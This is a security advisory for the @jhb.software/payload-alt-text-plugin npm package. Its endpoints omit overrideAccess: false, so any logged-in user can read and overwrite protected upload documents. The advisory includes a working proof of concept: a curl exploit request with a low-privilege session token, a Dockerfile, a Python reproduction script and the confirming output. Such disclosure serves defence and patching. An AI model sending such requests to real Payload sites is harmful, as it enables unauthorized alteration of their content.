GHSA-4qpv-39hg-f7fx
@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @jhb.software/payload-alt-text-plugin | < 0.8.0 | 0.8.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
### Summary
`@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evaluates `shouldOverrideAccess = overrideAccess !== false`, omitting the parameter causes it to default to `true`, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the `alt` and `keywords` fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated **High** (CVSS 7.1).
### Details
The plugin registers two network endpoints in `alt-text/src/plugin.ts:179-186`. Their default access guard (`plugin.ts:55`) only checks `!!req.user`, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.
The endpoint handler at `alt-text/src/endpoints/generateAltText.ts` accepts user-controlled `id`, `collection`, `locale`, and `update` fields from the request body (`line 29`), then passes them directly to two unsecured Local API calls:
**Read bypass** (`generateAltText.ts:31`):
```typescript
const imageDoc = await req.payload.findByID({
id,
collection,
depth: 0,
// overrideAccess: false is absent → defaults to true
})
```
**Write bypass** (`generateAltText.ts:121`):
```typescript
await req.payload.update({
id,
collection,
data: {
alt: result.result.altText,
keywords: result.result.keywords,
},
locale: targetLocale,
// overrideAccess: false is absent → defaults to true
})
```
The bulk endpoint (`alt-text/src/endpoints/bulkGenerateAltTexts.ts`) repeats the same pattern at lines `120` (read) and `170` (write).
Payload's internal resolution of `overrideAccess` is:
```
shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → collection access function is never called
```
Because the collection-level `read` and `update` access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.
### PoC
**Environment setup:**
1. Clone the repository and install `@jhb.software/[email protected]` into a Payload v3 project.
2. Configure an upload collection named `media` with `read` and `update` access restricted to users with `role: "admin"`.
3. Configure the plugin with `collections: ["media"]` and a resolver that returns `{ success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }`.
4. As an admin, create a media document (e.g., ID `doc-001`) with `alt = "original safe alt text"`.
5. Obtain a session token for a non-admin user (`role: "user"`).
**Build and run the dynamic PoC (Docker):**
```bash
# Build
docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run
docker run --rm vuln001-poc
```
**Exploit request:**
```bash
curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
-H "Content-Type: application/json" \
-X POST http://localhost:3000/api/alt-text-plugin/generate \
--data '{"collection":"media","id":"doc-001","locale":"en","update":true}'
```
**Expected result:**
- HTTP 200 is returned.
- The response body contains `"altText": "PWNED_BY_EXPLOIT"`.
- A subsequent admin read of `media/doc-001` confirms `alt = "PWNED_BY_EXPLOIT"` and `keywords = ["hacked", "bypass"]`, despite the collection's update access being restricted to admins.
**Control verification (confirms the bypass is real, not a misconfiguration):**
A direct Local API call with `overrideAccess: false` by the same non-admin user throws `AccessError: update denied for collection "media" (user role: user)`, proving that the access rule is correct and the plugin endpoint is the vector.
**Dynamic reproduction output (Phase 2 confirmed):**
```
VULN-001: Alt Text endpoint authorization bypass
Payload Local API overrideAccess omission in
generateAltText.ts:31 and :121
[Step 1] Control: non-admin direct update with overrideAccess:false
PASS: access correctly denied → AccessError
[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate
HTTP status : 200
Response : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}
VULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL
```
### Impact
This is an **Incorrect Authorization** vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:
1. **Read** the content of arbitrary upload documents that collection access rules would otherwise deny them.
2. **Overwrite** the `alt` text and `keywords` fields on those documents, effectively performing unauthorized content modification.
Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.
### Reproduction artifacts
#### `Dockerfile`
```dockerfile
# Dockerfile for VULN-001 dynamic reproduction
#
# Build context: the parent directory that contains both
# repo/ (jhb-software/payload-plugins clone)
# vuln-001/ (this workspace)
#
# Build: docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run: docker run --rm vuln001-poc
FROM node:22-slim
WORKDIR /app
# ---- Copy plugin source files required by the PoC ----
# Only the endpoint under test and its direct dependencies are needed.
# No Payload framework install required: we mock it in the PoC.
COPY repo/alt-text/src/endpoints/generateAltText.ts ./plugin/src/endpoints/generateAltText.ts
COPY repo/alt-text/src/endpoints/schemas.ts ./plugin/src/endpoints/schemas.ts
COPY repo/alt-text/src/utilities/mimeTypes.ts ./plugin/src/utilities/mimeTypes.ts
COPY repo/alt-text/src/types/AltTextPluginConfig.ts ./plugin/src/types/AltTextPluginConfig.ts
COPY repo/alt-text/src/resolvers/types.ts ./plugin/src/resolvers/types.ts
# ---- Copy PoC files ----
COPY vuln-001/package_inner.json ./package.json
COPY vuln-001/inner_poc.ts ./inner_poc.ts
# ---- Install minimal runtime dependencies ----
# zod: schema validation used by the endpoint handler
# tsx: TypeScript executor that handles .js→.ts extension mapping
RUN npm install --no-audit --no-fund
# ---- Run the PoC ----
CMD ["node_modules/.bin/tsx", "inner_poc.ts"]
```
#### `poc.py`
```python
#!/usr/bin/env python3
"""
poc.py — VULN-001 Dynamic Reproduction Orchestrator
Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0
Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission
CWE: CWE-863 (Incorrect Authorization)
This script:
1. Builds a Docker image containing the real plugin endpoint source.
2. Runs the container, which calls the endpoint handler with a non-admin user.
3. Captures stdout/stderr as evidence.
4. Writes the result to phase2_result.json.
Usage:
python3 poc.py
Safety:
- All traffic stays on 127.0.0.1 / localhost inside Docker.
- No external services are contacted.
- No live credentials are used.
"""
import json
import os
import subprocess
import sys
# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
THIS_DIR = os.path.dirname(os.path.abspath(__file__))
# Build context: parent directory that contains both repo/ and vuln-001/
BUILD_CONTEXT = os.path.dirname(THIS_DIR)
DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile")
IMAGE_TAG = "vuln001-poc"
RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")
BUILD_COMMAND = f"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile ."
RUN_COMMAND = f"docker run --rm {IMAGE_TAG}"
POC_COMMAND = f"python3 poc.py"
def run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]:
"""Run a subprocess and return (returncode, stdout, stderr)."""
result = subprocess.run(
cmd,
cwd=cwd,
capture_output=True,
text=True,
timeout=timeout,
)
return result.returncode, result.stdout, result.stderr
def write_result(passed: bool, verdict: str, reason: str, evidence: str,
build_out: str = "", run_out: str = "", failure_detail: str = "") -> None:
"""Write phase2_result.json."""
data: dict = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": BUILD_COMMAND,
"run_command": RUN_COMMAND,
"poc_command": POC_COMMAND,
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
}
if failure_detail:
data["failure_detail"] = failure_detail
if build_out:
data["build_output_tail"] = build_out[-2000:]
if run_out:
data["run_output"] = run_out
with open(RESULT_FILE, "w", encoding="utf-8") as fh:
json.dump(data, fh, indent=2, ensure_ascii=False)
print(f"\nResult written to: {RESULT_FILE}")
def main() -> int:
# -----------------------------------------------------------------------
# Step 1: Build the Docker image
# -----------------------------------------------------------------------
print("=" * 60)
print("VULN-001 Dynamic Reproduction")
print("=" * 60)
print()
print(f"[1/2] Building Docker image: {IMAGE_TAG}")
print(f" Context : {BUILD_CONTEXT}")
print(f" Command : {BUILD_COMMAND}")
print()
rc, build_stdout, build_stderr = run(
["docker", "build", "-t", IMAGE_TAG, "-f", "vuln-001/Dockerfile", "."],
cwd=BUILD_CONTEXT,
)
combined_build = (build_stdout + build_stderr).strip()
if rc != 0:
print("ERROR: Docker build failed.")
print(combined_build[-3000:])
write_result(
passed=False,
verdict="FAIL",
reason="Docker 빌드 실패 — npm install 또는 파일 복사 오류",
evidence="",
build_out=combined_build,
failure_detail=f"docker build exit code {rc}:\n{combined_build[-2000:]}",
)
return 1
print(" Build succeeded.")
print()
# -----------------------------------------------------------------------
# Step 2: Run the PoC container
# -----------------------------------------------------------------------
print(f"[2/2] Running PoC container")
print(f" Command : {RUN_COMMAND}")
print()
rc, run_stdout, run_stderr = run(
["docker", "run", "--rm", IMAGE_TAG],
cwd=BUILD_CONTEXT,
)
combined_run = (run_stdout + run_stderr).strip()
print(combined_run)
print()
# -----------------------------------------------------------------------
# Step 3: Evaluate the output
# -----------------------------------------------------------------------
success_marker = "VULNERABILITY CONFIRMED"
pwned_marker = "PWNED_BY_EXPLOIT"
if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:
# Extract the key evidence block
lines = combined_run.splitlines()
evidence_lines = []
in_block = False
for line in lines:
if success_marker in line or pwned_marker in line or "EXPLOITATION" in line:
in_block = True
if in_block:
evidence_lines.append(line)
if in_block and line.startswith("→"):
break
evidence = "\n".join(evidence_lines) if evidence_lines else combined_run[-1500:]
write_result(
passed=True,
verdict="PASS",
reason=(
"비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 "
"admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. "
"generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 "
"Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 "
"컬렉션 레벨 access 함수가 우회됨. "
"직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공."
),
evidence=evidence,
run_out=combined_run,
)
print("PASS — vulnerability dynamically confirmed.")
return 0
else:
print("FAIL — success marker not found or container exited non-zero.")
write_result(
passed=False,
verdict="FAIL" if rc != 0 else "INCOMPLETE",
reason=(
f"컨테이너 종료 코드 {rc}. "
"성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. "
"로그를 확인하여 원인 파악 필요."
),
evidence=combined_run[-2000:],
run_out=combined_run,
failure_detail=f"Container exit code: {rc}\nstdout+stderr:\n{combined_run}",
)
return 1
if __name__ == "__main__":
sys.exit(main())
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-4qpv-39hg-f7fx
- https://nvd.nist.gov/vuln/detail/CVE-2026-59965
- https://github.com/jhb-software/payload-plugins/pull/159
- https://github.com/jhb-software/payload-plugins/commit/e39634868ce13a414e2981e219befc58101654d3
- https://github.com/jhb-software/payload-plugins
- https://github.com/jhb-software/payload-plugins/releases/tag/[email protected]